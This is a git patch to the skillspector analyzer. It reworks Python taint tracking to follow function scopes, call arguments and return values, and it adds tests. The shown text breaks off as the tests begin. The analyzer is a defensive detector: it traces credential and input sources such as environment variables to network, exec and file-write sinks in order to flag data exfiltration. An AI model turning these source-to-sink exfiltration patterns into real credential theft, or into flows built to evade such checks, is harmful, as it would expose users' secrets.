From ce5f52567034097c70d488968a099c9f9b048229 Mon Sep 17 00:00:00 2001 From: Narendran Raghavan Date: Wed, 7 Oct 2026 10:08:39 -0700 Subject: [PATCH 1/7] fix(taint): scope taint to functions and bind call-site arguments Taint was keyed by bare variable name across the whole file. Since 26bc7d6 (#611) made propagation independent of AST visit order, a tainted local taints every same-named variable or parameter in the file: a `headers` dict built from an environment token in one function taints an unrelated `headers` parameter in another, which is reported as TT3 (CRITICAL) at a request that never sees the credential. Before #611 the same clash fired only when breadth-first visit order happened to line up, so 2.12.0 reported fewer of these. Key taint by lexical scope instead, and model the flows that bare names only approximated by coincidence: - Per-function namespaces following Python's rules: parameters and names bound in a body are local, global/nonlocal are honored, free names resolve through enclosing functions (closures) to the module, and class bodies are not visible to methods. Module globals keep bare-name keys. - Call-site binding: arguments of calls to functions defined in the file flow positionally, by keyword, or into *args/**kwargs to the callee's parameters through per-callee argument slots, so binding stays linear even for many same-named methods. Parameter defaults flow to their parameter, and a function passed as an argument (Thread(target=f, args=...), executor.submit(f, ...)) receives the arguments after it. - Return values: `return expr` taints the function's result, which every call to it reads, so `key = get_key()` and `post(data=get_key())` keep flowing. - self., cls. and class-body names share one attribute namespace per in-module inheritance family. - Messages cite the line of the original source call rather than the last assignment that copied it. Lambdas and comprehensions stay folded into the enclosing scope, which can only over-approximate. The fixpoint remains a monotone worklist that fires each flow at most once, with runtime checks per visited node and per dequeue. On a 141-skill corpus (including NVIDIA/skills and anthropics/skills), the 10 TT findings that main reports only through unrelated same-named variables (3 TT3, 1 TT5, 6 TT2) are gone. Every other TT finding on main is still reported, and 28 more flows through helper returns and call arguments are found. This composes with the open #754 (retain sources across reassignment). Both change the same four places: _mark_targets, the worklist item, the fired set and the sink lookup. A mechanical port of #754 onto this change passes both test suites. Tests (the 77 existing taint tests pass unchanged): - name clashes stay clean: an unrelated parameter in either definition order, the same local in two functions, a method parameter, a local shadowing a tainted global, the sibling of the bound parameter, and instance attributes of an unrelated class; - recall: helper returns (same name, other name, inside sink arguments, chained), positional, keyword, unpacked and direct-source arguments, *args/**kwargs, defaults, callbacks, a global set inside a function, closures, nested-function arguments, nonlocal rebinding, attributes set in __init__ or from constructor arguments, class attributes, inherited attributes, calls on instances, self and staticmethods, input reaching exec through a helper, recursion, and a token passed through a header builder into a request helper; - messages cite the source call line through reassignments, multi-line assignments and calls; - binding stays linear for 400 same-named methods and call sites, and arguments beyond the positional slot cap still bind. Signed-off-by: Narendran Raghavan Co-Authored-By: Claude Opus 5.5 --- .../analyzers/behavioral_taint_tracking.py | 714 +++++++++++++++--- .../test_behavioral_taint_tracking.py | 509 +++++++++++++ 2 files changed, 1098 insertions(+), 125 deletions(-) diff --git a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py index d625857e8..08922448e 100644 --- a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py +++ b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py @@ -17,7 +17,9 @@ Parses Python AST to identify data sources (env vars, file reads, network input) and sinks (network output, exec, file writes), then tracks flows between them -to flag potential credential/data exfiltration chains. +to flag potential credential/data exfiltration chains. Taint follows Python's +lexical scopes and crosses calls to functions defined in the same file +(arguments into parameters, return values back to callers). """ from __future__ import annotations @@ -25,7 +27,7 @@ import ast import time from collections import deque -from collections.abc import Callable +from collections.abc import Callable, Iterable, Iterator, Sequence from dataclasses import dataclass, field from typing import NamedTuple @@ -327,11 +329,26 @@ def _pick_rule(source_name: str, sink_name: str, is_direct: bool) -> str: class _TaintedVar(NamedTuple): + """One taint fact: data from ``source_call`` reaches the variable ``name``. + + ``lineno`` is the line of the original source call (``os.getenv(...)``, + ``input()``, ...), carried unchanged through every propagation step, so a + finding names where the data entered the program rather than the last + assignment that copied it. + """ + name: str source_call: str lineno: int +class _Target(NamedTuple): + """A taint destination: a scope-qualified ``key`` and its display ``name``.""" + + key: str + name: str + + def _is_open_for_write(node: ast.Call) -> bool: """Heuristic: open() is a write sink if mode arg contains 'w' or 'a'.""" if len(node.args) >= 2 and isinstance(node.args[1], ast.Constant): @@ -349,11 +366,12 @@ def _find_source_in_expr( type_map: dict[str, str] | None = None, aliases: dict[str, str] | None = None, check_runtime: Callable[[], None] | None = None, -) -> str | None: +) -> tuple[str, int] | None: """Find a source call anywhere in an expression tree (handles chained calls). Handles patterns like ``open("f").read()``, ``requests.get(url).text``, - and plain ``os.environ.get("K")``. + and plain ``os.environ.get("K")``. Returns the source name and the line of + the source call itself. """ for child in ast.walk(node): if check_runtime is not None: @@ -365,7 +383,27 @@ def _find_source_in_expr( continue if name == "open" and _is_open_for_write(child): continue - return name + return name, child.lineno + return None + + +def _direct_source( + node: ast.expr, + type_map: dict[str, str], + aliases: dict[str, str], + check_runtime: Callable[[], None] | None = None, +) -> tuple[str, int] | None: + """Return the source (name, line) a value reads directly, if any.""" + found = _find_source_in_expr(node, type_map, aliases, check_runtime) + if found is not None: + return found + # Subscript sources like os.environ["KEY"] (also os aliased as `o`) + if isinstance(node, ast.Subscript): + base = resolve_dotted_name(node.value) + if base is not None: + base = apply_import_aliases(base, aliases) + if base and base in _CREDENTIAL_SOURCES: + return base, node.lineno return None @@ -390,165 +428,589 @@ def _find_nested_sources( return results +# ── Lexical scopes ────────────────────────────────────────────────────── +# +# Taint is keyed by scope-qualified variable keys rather than bare names, so a +# tainted local in one function cannot taint an unrelated same-named variable +# or parameter in another. Keys are plain strings: +# +# * module globals keep their bare name (``TOKEN``); +# * function locals and parameters are prefixed with the function's qualified +# name (``upload..payload``, ``Client.send..body``); +# * a class body and ``self.`` / ``cls.`` in its methods share one +# attribute namespace per in-module inheritance family (``Client.token``); +# * every callable group (see ``_ScopeIndex.callee_groups``) has argument slots +# (``upload()#0``, ``upload()#kw:payload``) and a return value +# (``upload()``). +# +# Lambdas and comprehensions are folded into their enclosing scope, and match +# captures do not bind: both resolve names more widely than Python does, which +# can only add taint, never drop it. + +_FunctionNode = ast.FunctionDef | ast.AsyncFunctionDef + +# Call-site positional arguments at or beyond this index (and anything after a +# ``*args`` unpacking) share one wildcard slot, keeping the per-definition +# binding work bounded by a constant. +_MAX_POSITIONAL_SLOTS = 16 + + +@dataclass(eq=False) +class _ClassInfo: + node: ast.ClassDef + qualname: str + # Attribute-namespace prefix shared by the class's in-module inheritance + # family; assigned once every class in the module is known. + prefix: str = "" + + +@dataclass(eq=False) +class _FunctionInfo: + node: _FunctionNode + scope: _Scope + # (callable group key, number of leading parameters bound by the receiver) + groups: list[tuple[str, int]] = field(default_factory=list) + + +@dataclass(eq=False) +class _Scope: + """One Python namespace: the module, a function body, or a class body.""" + + kind: str # "module" | "function" | "class" + qualname: str + parent: _Scope | None + bound: set[str] = field(default_factory=set) + declared_global: set[str] = field(default_factory=set) + declared_nonlocal: set[str] = field(default_factory=set) + class_info: _ClassInfo | None = None + function: _FunctionInfo | None = None + + @property + def prefix(self) -> str: + if self.class_info is not None: + return self.class_info.prefix + if self.kind == "function": + return f"{self.qualname}.." + return "" + + +@dataclass(eq=False) +class _ScopeIndex: + """Lexical scopes of one module plus what is needed to bind call sites.""" + + module: _Scope + aliases: dict[str, str] + type_map: dict[str, str] + # Assign / Return / Call nodes with their scope, in ``ast.walk`` order. + statements: list[tuple[ast.Assign | ast.Return | ast.Call, _Scope]] = field( + default_factory=list + ) + call_scope: dict[ast.Call, _Scope] = field(default_factory=dict) + functions: list[_FunctionInfo] = field(default_factory=list) + classes: list[tuple[_ClassInfo, _Scope]] = field(default_factory=list) + # Callable group keys with at least one definition in this module. + groups: set[str] = field(default_factory=set) + class_bindings: dict[str, list[_ClassInfo]] = field(default_factory=dict) + classes_by_name: dict[str, list[_ClassInfo]] = field(default_factory=dict) + # Key of each method's receiver parameter (``self``/``cls``) -> its class. + self_keys: dict[str, _ClassInfo] = field(default_factory=dict) + _resolved: dict[tuple[_Scope, str], str] = field(default_factory=dict) + + def resolve(self, scope: _Scope, name: str) -> str: + """Return the key *name* refers to when read or written in *scope*. + + Follows Python's rules: a name bound anywhere in a function body is + local to it unless declared ``global``/``nonlocal``; free names resolve + through enclosing function scopes (closures) to the module. Class + bodies are visible only to their own statements, not to methods. + """ + cache_key = (scope, name) + key = self._resolved.get(cache_key) + if key is None: + key = name + current: _Scope | None = scope + while current is not None and current.kind != "module": + if current is scope or current.kind != "class": + if name in current.declared_global: + break + if name in current.bound and name not in current.declared_nonlocal: + key = current.prefix + name + break + current = current.parent + self._resolved[cache_key] = key + return key + + def attribute(self, node: ast.Attribute, scope: _Scope) -> _Target | None: + """Map ``self.x`` / ``cls.x`` / ``Class.x`` to its class attribute key.""" + if not isinstance(node.value, ast.Name): + return None + key = self.resolve(scope, node.value.id) + cls = self.self_keys.get(key) + if cls is None: + classes = self.class_bindings.get(key) + cls = classes[0] if classes else None + if cls is None: + return None + return _Target(cls.prefix + node.attr, f"{node.value.id}.{node.attr}") + + def callee_groups( + self, func: ast.expr, scope: _Scope, *, any_method: bool = False + ) -> list[str]: + """Callable groups in this module that ``func`` may refer to. + + A plain name resolves lexically to the functions bound to it (several + when redefined), or to the ``__init__`` methods of a class it names. + ``self.m``/``cls.m``/``Class.m``/``obj.m`` with ``obj = Class(...)`` + resolve to ``m`` in that class family. With *any_method*, any other + ``obj.m`` not rooted at an imported name resolves to every method named + ``m`` in the module. That fallback is used only to bind arguments, + which can taint nothing but parameters of this module's own methods; + reading return values through it would taint every ``x.get(...)`` in a + file that defines a ``get`` method. + """ + groups: list[str] = [] + if isinstance(func, ast.Name): + key = self.resolve(scope, func.id) + if f"{key}()" in self.groups: + groups.append(f"{key}()") + for cls in self.class_bindings.get(key, ()): + group = f"{cls.prefix}__init__()" + if group in self.groups and group not in groups: + groups.append(group) + return groups + if not isinstance(func, ast.Attribute): + return groups + if isinstance(func.value, ast.Name): + key = self.resolve(scope, func.value.id) + receivers = list(self.class_bindings.get(key, ())) + if key in self.self_keys: + receivers.append(self.self_keys[key]) + constructed = self.type_map.get(func.value.id) + if constructed is not None: + if constructed.split(".")[0] in self.aliases: + return groups # an instance of an imported (library) class + receivers.extend(self.classes_by_name.get(constructed, ())) + for cls in receivers: + group = f"{cls.prefix}{func.attr}()" + if group in self.groups and group not in groups: + groups.append(group) + if groups: + return groups + root = func.value + while isinstance(root, ast.Attribute): + root = root.value + if not any_method or (isinstance(root, ast.Name) and root.id in self.aliases): + return groups + if f".{func.attr}()" in self.groups: + groups.append(f".{func.attr}()") + return groups + + def references( + self, + node: ast.AST, + scope: _Scope, + check_runtime: Callable[[], None] | None = None, + *, + skip_root: bool = False, + ) -> Iterator[str]: + """Yield every taint key an expression reads, in ``ast.walk`` order. + + Names resolve through *scope*; ``self.x`` resolves to the class + attribute key; a call to a function defined in this module also reads + that function's return value. Handles container literals and f-strings + because ``ast.walk`` reaches the names nested inside them. + """ + for child in ast.walk(node): + if check_runtime is not None: + check_runtime() + if skip_root and child is node: + continue + if isinstance(child, ast.Name): + yield self.resolve(scope, child.id) + elif isinstance(child, ast.Attribute): + target = self.attribute(child, scope) + if target is not None: + yield target.key + elif isinstance(child, ast.Call): + for group in self.callee_groups(child.func, scope): + yield f"{group}" + + def assign_targets(self, target: ast.expr, scope: _Scope) -> list[_Target]: + """Keys written by one assignment target (names, ``self.x``, tuples of them).""" + elements = target.elts if isinstance(target, ast.Tuple) else [target] + targets: list[_Target] = [] + for element in elements: + if isinstance(element, ast.Name): + targets.append(_Target(self.resolve(scope, element.id), element.id)) + elif isinstance(element, ast.Attribute): + attribute = self.attribute(element, scope) + if attribute is not None: + targets.append(attribute) + return targets + + +def _parameters(args: ast.arguments) -> list[ast.arg]: + """Every parameter a function binds, in signature order.""" + params = [*args.posonlyargs, *args.args] + if args.vararg is not None: + params.append(args.vararg) + params.extend(args.kwonlyargs) + if args.kwarg is not None: + params.append(args.kwarg) + return params + + +def _build_scope_index( + tree: ast.AST, + aliases: dict[str, str], + type_map: dict[str, str], + check_runtime: Callable[[], None] | None = None, +) -> _ScopeIndex: + """Assign every node to its lexical scope and index callable definitions. + + Visits nodes in ``ast.walk`` (breadth-first) order so statements are + recorded in the same order the order-independent taint pass always used. + """ + module = _Scope("module", "", None) + index = _ScopeIndex(module, aliases, type_map) + qualname_counts: dict[str, int] = {} + + def child_scope(kind: str, name: str, parent: _Scope) -> _Scope: + if parent.kind == "module": + qualname = name + elif parent.kind == "class": + qualname = f"{parent.qualname}.{name}" + else: + qualname = f"{parent.qualname}..{name}" + # Redefinitions get distinct namespaces; calls still reach all of them. + count = qualname_counts.get(qualname, 0) + 1 + qualname_counts[qualname] = count + return _Scope(kind, qualname if count == 1 else f"{qualname}#{count}", parent) + + # (node, scope it belongs to, whether a Store name binds in that scope) + queue: deque[tuple[ast.AST, _Scope, bool]] = deque( + (child, module, True) for child in ast.iter_child_nodes(tree) + ) + while queue: + if check_runtime is not None: + check_runtime() + node, scope, binds = queue.popleft() + if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + scope.bound.add(node.name) + if isinstance(node, ast.ClassDef): + inner = child_scope("class", node.name, scope) + inner.class_info = _ClassInfo(node, inner.qualname) + index.classes.append((inner.class_info, scope)) + else: + inner = child_scope("function", node.name, scope) + inner.function = _FunctionInfo(node, inner) + index.functions.append(inner.function) + inner.bound.update(arg.arg for arg in _parameters(node.args)) + # Only the body runs in the new scope; decorators, defaults, + # annotations and bases are evaluated where the def/class stands. + body = {id(statement) for statement in node.body} + for child in ast.iter_child_nodes(node): + queue.append((child, inner if id(child) in body else scope, True)) + continue + if isinstance(node, ast.comprehension): + # Comprehension targets bind in the comprehension's own scope in + # Python 3; not binding them here keeps outer names visible. + queue.append((node.target, scope, False)) + queue.extend((child, scope, binds) for child in (node.iter, *node.ifs)) + continue + if isinstance(node, ast.Name): + if binds and isinstance(node.ctx, (ast.Store, ast.Del)): + scope.bound.add(node.id) + elif isinstance(node, ast.Global): + scope.declared_global.update(node.names) + elif isinstance(node, ast.Nonlocal): + scope.declared_nonlocal.update(node.names) + elif isinstance(node, (ast.Import, ast.ImportFrom)): + for alias in node.names: + if alias.name != "*": + scope.bound.add(alias.asname or alias.name.split(".")[0]) + elif isinstance(node, ast.ExceptHandler) and node.name: + scope.bound.add(node.name) + elif isinstance(node, (ast.Assign, ast.Return)): + index.statements.append((node, scope)) + elif isinstance(node, ast.Call): + index.call_scope[node] = scope + index.statements.append((node, scope)) + for child in ast.iter_child_nodes(node): + if not isinstance(child, ast.expr_context): + queue.append((child, scope, binds)) + + _assign_class_families(index) + + for function in index.functions: + node = function.node + parent = function.scope.parent or module + if parent.class_info is not None: + static = any( + isinstance(decorator, ast.Name) and decorator.id == "staticmethod" + for decorator in node.decorator_list + ) + offset = 0 if static else 1 + function.groups.append((f"{parent.class_info.prefix}{node.name}()", offset)) + function.groups.append((f".{node.name}()", offset)) + positional = [*node.args.posonlyargs, *node.args.args] + if offset and positional: + index.self_keys[function.scope.prefix + positional[0].arg] = parent.class_info + else: + function.groups.append((f"{index.resolve(parent, node.name)}()", 0)) + index.groups.update(group for group, _ in function.groups) + for cls, parent in index.classes: + index.class_bindings.setdefault(index.resolve(parent, cls.node.name), []).append(cls) + return index + + +def _assign_class_families(index: _ScopeIndex) -> None: + """Give classes linked by in-module inheritance one attribute namespace. + + ``self.token`` set in a base class and read in a subclass (or the other way + round) must meet. Same-named classes are merged as well, so the work stays + linear: union-find over (class, first class with the base's name) pairs. + """ + parent: dict[_ClassInfo, _ClassInfo] = {} + order = {cls: position for position, (cls, _) in enumerate(index.classes)} + + def find(cls: _ClassInfo) -> _ClassInfo: + root = cls + while parent.get(root, root) is not root: + root = parent[root] + while cls is not root: + following = parent[cls] + parent[cls] = root + cls = following + return root + + def union(first: _ClassInfo, second: _ClassInfo) -> None: + first, second = find(first), find(second) + if first is not second: + # The earliest-defined class names the family, for stable keys. + if order[second] < order[first]: + first, second = second, first + parent[second] = first + + by_name = index.classes_by_name + for cls, _ in index.classes: + same_name = by_name.setdefault(cls.node.name, []) + same_name.append(cls) + union(same_name[0], cls) + for cls, _ in index.classes: + for base in cls.node.bases: + if isinstance(base, ast.Name) and base.id in by_name: + union(cls, by_name[base.id][0]) + for cls, _ in index.classes: + cls.prefix = f"{find(cls).qualname}." + + def _find_tainted_names_in_args( node: ast.Call, tainted: dict[str, _TaintedVar], + scopes: _ScopeIndex, + scope: _Scope, check_runtime: Callable[[], None] | None = None, ) -> list[_TaintedVar]: - """Find references to tainted variables in a call's arguments and keywords.""" + """Find tainted variables, attributes and helper results a call reads.""" seen: set[str] = set() hits: list[_TaintedVar] = [] - for child in ast.walk(node): - if check_runtime is not None: - check_runtime() - if child is node: + for key in scopes.references(node, scope, check_runtime, skip_root=True): + if key in seen: continue - var_name: str | None = None - if isinstance(child, ast.Name): - var_name = child.id - elif isinstance(child, ast.Subscript): - var_name = resolve_dotted_name(child.value) - if var_name and var_name not in seen: - tv = tainted.get(var_name) - if tv: - seen.add(var_name) - hits.append(tv) + tv = tainted.get(key) + if tv: + seen.add(key) + hits.append(tv) return hits def _mark_targets( - targets: list[ast.expr], + targets: Sequence[_Target], tainted: dict[str, _TaintedVar], src_name: str, lineno: int, ) -> list[str]: - """Taint each assignment target name that is not tainted yet. + """Taint each target key that is not tainted yet. Add-only: an existing entry is never overwritten, so taint can only grow. - Returns the names newly added, for the worklist to propagate from. + Returns the keys newly added, for the worklist to propagate from. """ newly_tainted: list[str] = [] - names: list[str] = [] - for target in targets: - if isinstance(target, ast.Name): - names.append(target.id) - elif isinstance(target, ast.Tuple): - names.extend(elt.id for elt in target.elts if isinstance(elt, ast.Name)) - for name in names: - if name not in tainted: - tainted[name] = _TaintedVar(name, src_name, lineno) - newly_tainted.append(name) + for key, name in targets: + if key not in tainted: + tainted[key] = _TaintedVar(name, src_name, lineno) + newly_tainted.append(key) return newly_tainted -def _referenced_names(node: ast.expr) -> list[str]: - """Return the distinct variable names (``ast.Name`` ids) referenced in *node*. - - Mirrors the Name-only domain of taint propagation: a propagating assignment - becomes tainted when any name its value reads is tainted. Handles container - literals (dict, list, tuple, set) and f-strings because ``ast.walk`` reaches - the ``Name`` nodes nested inside them (e.g. ``payload = {"key": secret}``). - """ - seen: set[str] = set() - names: list[str] = [] - for child in ast.walk(node): - if isinstance(child, ast.Name) and child.id not in seen: - seen.add(child.id) - names.append(child.id) - return names - - def _collect_tainted( tree: ast.AST, type_map: dict[str, str], aliases: dict[str, str], check_runtime: Callable[[], None] | None = None, + scopes: _ScopeIndex | None = None, ) -> dict[str, _TaintedVar]: - """Record ``Assign``-based taint, independent of AST visit order. - - Any single ordered pass over the tree — breadth-first (``ast.walk``) or - source-order (pre-order) — misses flows where a sink and the assignment - that taints it are visited in the "wrong" relative order for that - traversal. Pre-order in particular loses flows where the sink sits inside - a function, method or loop body defined BEFORE the tainted assignment in - the file: the body is a subtree visited in full before the later sibling - statement, even though the code only runs when called, after the - assignment has already executed. There is no fixed traversal order that - agrees with both "defined before" and "runs after". - - Taint is therefore computed as reachability in the re-assignment graph, - using a monotone worklist: - - * One pass over every ``Assign`` seeds the tainted set from direct sources - (source calls and credential subscripts) and records every propagating - assignment (``b = a``; ``payload = {"k": secret}``) once, keyed by a - stable id, then indexes it by each name its value reads, as - ``referenced_name -> [assignment_id, ...]``. - * The worklist then drains newly tainted names, firing each assignment that - reads a drained name AT MOST ONCE total: the first time any name it reads - becomes tainted, its targets are marked and enqueued; later drains of its - other reading names skip it. Only names not already tainted are enqueued. - - Taint is add-only — an entry is never overwritten or removed — so the set - can only grow and is bounded by the number of assigned names. The loop - therefore cannot oscillate and is guaranteed to terminate. Firing an - assignment a second time is sound to skip: its targets are all tainted - after the first firing, so a later firing could only re-taint names and - add nothing. Each name is dequeued once and each propagating assignment - fires at most once, so the work is linear in the number of assignments - plus references — not quadratic in the longest chain, nor K×K' for a wide - ``a, b, ... = source`` statement read by many tainted names. + """Compute scope-aware taint, independent of AST visit order. + + Any single ordered pass over the tree misses flows where a sink and the + assignment that taints it are visited in the "wrong" relative order: a + function body defined before the module-level assignment it reads only + runs after that assignment. Taint is therefore computed as reachability in + a flow graph whose nodes are scope-qualified keys (see ``_ScopeIndex``): + + * every ``Assign`` flows from the keys its value reads to its targets; + * every argument of a call to a function defined in this module flows to + that callee's argument slot, and each slot flows to the parameter it + binds (positionally, by keyword, or into ``*args``/``**kwargs``); a + function passed as an argument (``Thread(target=f, args=(x,))``, + ``executor.submit(f, x)``) receives the arguments that follow it; + * every ``return`` flows into the function's return key, which any call + to that function reads, so ``key = get_key()`` carries the helper's + taint into the caller; parameter defaults flow into their parameter. + + A flow whose value contains a source call (or ``os.environ[...]``) seeds + its targets directly. The remaining flows are recorded once each, keyed by + a stable id and indexed by every key they read. A monotone worklist then + drains newly tainted keys, firing each flow AT MOST ONCE: its targets are + all tainted after the first firing, so a later firing could add nothing. + + Taint is add-only and bounded by the number of keys, so the loop cannot + oscillate and terminates; each key is dequeued once and each flow fires at + most once, so the work is linear in the flows plus their references. A + fact keeps the original source call and its line through every hop. + + Before scoping, keys were bare names shared by the whole file, so a + tainted ``headers`` local in one function tainted an unrelated + ``headers`` parameter elsewhere — reported as TT3 once 26bc7d6 (#611) + made propagation order-independent. """ + if scopes is None: + scopes = _build_scope_index(tree, aliases, type_map, check_runtime) tainted: dict[str, _TaintedVar] = {} worklist: deque[str] = deque() - # Each propagating assignment, stored once as (targets, lineno) and keyed by - # its index here (a stable id). ``propagators`` maps a name read by an - # assignment's value to the ids of the assignments that read it. - propagating: list[tuple[list[ast.expr], int]] = [] + # Each propagating flow's targets, stored once and keyed by its index here + # (a stable id). ``propagators`` maps a key read by a flow to its ids. + propagating: list[list[_Target]] = [] propagators: dict[str, list[int]] = {} - for ast_node in ast.walk(tree): - if check_runtime is not None: - check_runtime() - if not isinstance(ast_node, ast.Assign): - continue + def add_edge(reads: Iterable[str], targets: list[_Target]) -> None: + flow_id = len(propagating) + propagating.append(targets) + for key in dict.fromkeys(reads): + propagators.setdefault(key, []).append(flow_id) - src_name = _find_source_in_expr(ast_node.value, type_map, aliases, check_runtime) + def add_flow(value: ast.expr, scope: _Scope, targets: list[_Target]) -> None: + if not targets: + return + source = _direct_source(value, type_map, aliases, check_runtime) + if source is not None: + # Direct source: seed taint for this flow's targets. + worklist.extend(_mark_targets(targets, tainted, *source)) + else: + add_edge(scopes.references(value, scope, check_runtime), targets) - # Subscript sources like os.environ["KEY"] (also os aliased as `o`) - if src_name is None and isinstance(ast_node.value, ast.Subscript): - base = resolve_dotted_name(ast_node.value.value) - if base is not None: - base = apply_import_aliases(base, aliases) - if base and base in _CREDENTIAL_SOURCES: - src_name = base + def bind_arguments( + groups: list[str], + args: Sequence[ast.expr], + keywords: Sequence[tuple[str | None, ast.expr]], + scope: _Scope, + ) -> None: + unpacked = False + for position, arg in enumerate(args): + if isinstance(arg, ast.Starred): + unpacked, arg = True, arg.value + slot = "#*" if unpacked or position >= _MAX_POSITIONAL_SLOTS else f"#{position}" + add_flow(arg, scope, [_Target(group + slot, group + slot) for group in groups]) + for name, value in keywords: + slots = ("#**",) if name is None else (f"#kw:{name}", "#kw*") + add_flow( + value, scope, [_Target(group + s, group + s) for group in groups for s in slots] + ) - if src_name is not None: - # Direct source: seed taint for this assignment's targets. - worklist.extend(_mark_targets(ast_node.targets, tainted, src_name, ast_node.lineno)) + def bind_call(call: ast.Call, scope: _Scope) -> None: + groups = scopes.callee_groups(call.func, scope, any_method=True) + if groups: + bind_arguments(groups, call.args, [(k.arg, k.value) for k in call.keywords], scope) + # A module function passed as an argument receives the positional + # arguments after it, plus ``args=(...)`` / ``kwargs={...}``. + for position, arg in enumerate([*call.args, *(k.value for k in call.keywords)]): + if not isinstance(arg, (ast.Name, ast.Attribute)): + continue + callback = scopes.callee_groups(arg, scope) + if not callback: + continue + forwarded = list(call.args[position + 1 :]) + forwarded_keywords: list[tuple[str | None, ast.expr]] = [] + for keyword in call.keywords: + if keyword.arg == "args" and isinstance(keyword.value, (ast.Tuple, ast.List)): + forwarded.extend(keyword.value.elts) + elif keyword.arg == "kwargs" and isinstance(keyword.value, ast.Dict): + for key, value in zip(keyword.value.keys, keyword.value.values, strict=True): + if isinstance(key, ast.Constant) and isinstance(key.value, str): + forwarded_keywords.append((key.value, value)) + elif key is None: + forwarded_keywords.append((None, value)) + bind_arguments(callback, forwarded, forwarded_keywords, scope) + break # only the first function argument, keeping the work linear + + for node, scope in scopes.statements: + if isinstance(node, ast.Assign): + targets = [t for target in node.targets for t in scopes.assign_targets(target, scope)] + add_flow(node.value, scope, targets) + elif isinstance(node, ast.Return): + function = scope.function + if node.value is not None and function is not None: + label = f"{function.node.name}()" + returns = [_Target(f"{group}", label) for group, _ in function.groups] + add_flow(node.value, scope, returns) else: - # Propagating assignment: record it once under a stable id and index - # that id by each name its value reads, so it can fire later if/when - # one of those names is tainted. - assignment_id = len(propagating) - propagating.append((ast_node.targets, ast_node.lineno)) - for ref in _referenced_names(ast_node.value): - propagators.setdefault(ref, []).append(assignment_id) + bind_call(node, scope) + + for function in scopes.functions: + args = function.node.args + defining = function.scope.parent or scopes.module + prefix = function.scope.prefix + param = {arg.arg: [_Target(prefix + arg.arg, arg.arg)] for arg in _parameters(args)} + positional = [*args.posonlyargs, *args.args] + defaulted = positional[len(positional) - len(args.defaults) :] + for arg, default in zip(defaulted, args.defaults, strict=True): + add_flow(default, defining, param[arg.arg]) + for arg, kw_default in zip(args.kwonlyargs, args.kw_defaults, strict=True): + if kw_default is not None: + add_flow(kw_default, defining, param[arg.arg]) + for group, offset in function.groups: + bound = positional[offset:] + for position, arg in enumerate(bound): + reads = [f"{group}#*"] + if position < _MAX_POSITIONAL_SLOTS: + reads.append(f"{group}#{position}") + if arg not in args.posonlyargs: + reads += [f"{group}#kw:{arg.arg}", f"{group}#**"] + add_edge(reads, param[arg.arg]) + for arg in args.kwonlyargs: + add_edge([f"{group}#kw:{arg.arg}", f"{group}#**"], param[arg.arg]) + if args.vararg is not None: + extra = range(len(bound), _MAX_POSITIONAL_SLOTS) + add_edge([f"{group}#*", *(f"{group}#{i}" for i in extra)], param[args.vararg.arg]) + if args.kwarg is not None: + add_edge([f"{group}#kw*", f"{group}#**"], param[args.kwarg.arg]) fired: set[int] = set() while worklist: if check_runtime is not None: check_runtime() - name = worklist.popleft() - src_call = tainted[name].source_call - for assignment_id in propagators.get(name, ()): - if assignment_id in fired: + key = worklist.popleft() + origin = tainted[key] + for flow_id in propagators.get(key, ()): + if flow_id in fired: # Already propagated once: its targets are all tainted, so # firing again marks nothing new. Skip to stay linear. continue - fired.add(assignment_id) - targets, lineno = propagating[assignment_id] - worklist.extend(_mark_targets(targets, tainted, src_call, lineno)) + fired.add(flow_id) + worklist.extend( + _mark_targets(propagating[flow_id], tainted, origin.source_call, origin.lineno) + ) return tainted @@ -566,9 +1028,9 @@ def _analyze_python( type_map = build_type_map(tree, aliases) lines = python_ast.lines findings: list[AnalyzerFinding] = [] - tainted = _collect_tainted( - tree, type_map, aliases, budget.check_runtime if budget is not None else None - ) + check_runtime = budget.check_runtime if budget is not None else None + scopes = _build_scope_index(tree, aliases, type_map, check_runtime) + tainted = _collect_tainted(tree, type_map, aliases, check_runtime, scopes) seen: set[tuple[str, ast.Call]] = set() contexts: dict[int, str] = {} @@ -649,7 +1111,7 @@ def _emit( ast_node, type_map, aliases, - budget.check_runtime if budget is not None else None, + check_runtime, ): if src_name == "open" and _is_open_for_write(src_node): continue @@ -660,13 +1122,15 @@ def _emit( node_index, rule, ast_node, - f"Direct flow: {src_name} ({src_cat}) \u2192 {sink_name} ({sink_cat})", + f"Direct flow: {src_name} ({src_cat}) → {sink_name} ({sink_cat})", ) for tv in _find_tainted_names_in_args( ast_node, tainted, - budget.check_runtime if budget is not None else None, + scopes, + scopes.call_scope.get(ast_node, scopes.module), + check_runtime, ): rule = _pick_rule(tv.source_call, sink_name, is_direct=False) src_cat = _classify(tv.source_call, _SOURCE_CATEGORIES, "data source") @@ -676,7 +1140,7 @@ def _emit( rule, ast_node, f"Tainted flow: '{tv.name}' from {tv.source_call} (line {tv.lineno}, " - f"{src_cat}) \u2192 {sink_name} ({sink_cat})", + f"{src_cat}) → {sink_name} ({sink_cat})", ) return findings if budget is None else list(budget.current_findings) diff --git a/tests/nodes/analyzers/test_behavioral_taint_tracking.py b/tests/nodes/analyzers/test_behavioral_taint_tracking.py index 594cd01c1..73237c109 100644 --- a/tests/nodes/analyzers/test_behavioral_taint_tracking.py +++ b/tests/nodes/analyzers/test_behavioral_taint_tracking.py @@ -18,6 +18,7 @@ from __future__ import annotations import json +import textwrap import time from skillspector.nodes.analyzers import behavioral_taint_tracking @@ -949,3 +950,511 @@ def counting_mark_targets(*args, **kwargs): assert len(sources) == 2 * width assert all(src == "os.getenv" for src in sources.values()) assert elapsed < 1.0 + + +# ── Function scopes and interprocedural flows ───────────────────────── + + +def _code(text: str) -> str: + """Dedent a test module; line 1 is the first line after the opening quotes.""" + return textwrap.dedent(text).lstrip("\n") + + +def _line(code: str, marker: str) -> int: + """1-based line number of the only line containing *marker*.""" + (number,) = [i for i, line in enumerate(code.splitlines(), 1) if marker in line] + return number + + +def _flows(code: str, rule: str = "TT3") -> list: + return [f for f in _run(code) if f.rule_id == rule] + + +class TestFunctionScopePrecision: + """A tainted name in one function must not taint a same-named name elsewhere. + + Taint used to be keyed by bare variable name across the whole file. Once + propagation became order-independent (#611), a tainted local such as + ``headers`` in one function tainted every unrelated variable or parameter + called ``headers`` in the file, reporting TT3 (CRITICAL) on sinks that never + see the credential. + """ + + def test_parameter_named_like_a_tainted_local_is_not_tainted(self) -> None: + helper = _code( + """ + 